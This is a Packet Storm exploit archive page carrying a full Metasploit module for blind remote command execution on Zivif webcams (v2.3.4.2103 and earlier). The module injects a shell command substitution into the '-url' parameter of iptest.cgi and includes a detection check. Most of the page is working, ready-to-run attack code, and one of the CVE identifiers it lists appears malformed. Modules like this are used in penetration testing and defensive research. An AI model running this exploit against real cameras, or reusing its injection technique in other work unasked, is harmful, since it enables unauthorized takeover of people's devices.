exploit the possibilities

Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution
Posted Jun 16, 2020
Authored by Silas Cutler | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Zivif webcams. This is known to impact versions prior to and including 2.3.4.2103.

tags | exploit, remote
advisories | CVE-2017-17105, CVE-2017-171069
MD5 | 866cab75a033c98926f601f67b982f96

Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Zivif
webcams. This is known to impact versions prior to and including v2.3.4.2103.
Exploit was reported in CVE-2017-17105.
},
'License' => MSF_LICENSE,
'Author' => [ 'Silas Cutler (p1nk)' ],
'References' =>
[
[ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
[ 'CVE', '2017-171069' ]
],
'Platform' => 'unix',
'Targets' =>
[
[ 'Automatic Target', { }]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x27",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/generic',
},
'Privileged' => false,
'DisclosureDate' => "2017-09-01",
'DefaultTarget' => 0))
end

def check
res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
unless res
vprint_error('Connection failed')
return Exploit::CheckCode::Unknown
end
unless res.code && res.code == 200
return CheckCode::Safe
end

CheckCode::Detected
end

def exploit
print_status("Sending request")
cmd = datastore['CMD']

res = send_request_cgi(
'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
'method' => 'GET',
'vars_get' => {
'cmd' => "iptest.cgi",
'-time' => Time.now.to_i,
'-url' => "$(" + cmd + ")"
}
)

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code && res.code == 200
print_good('Command sent successfully')
else
fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
end
end

end
Login or Register to add favorites

File Archive:

December 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    22 Files
  • 2
    Dec 2nd
    33 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close